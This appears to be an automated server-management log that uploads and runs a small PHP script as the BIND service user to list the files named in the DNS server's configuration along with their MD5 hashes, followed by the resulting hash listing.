MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 17:05:49: Establishing a connection
2026-04-28 17:05:49: 

PUT: /tmp/pkp896809

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 17:05:50: 

runuser -l bind -s /bin/bash -c '/tmp/pkp896809; rm /tmp/pkp896809'

2026-04-28 17:05:50: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
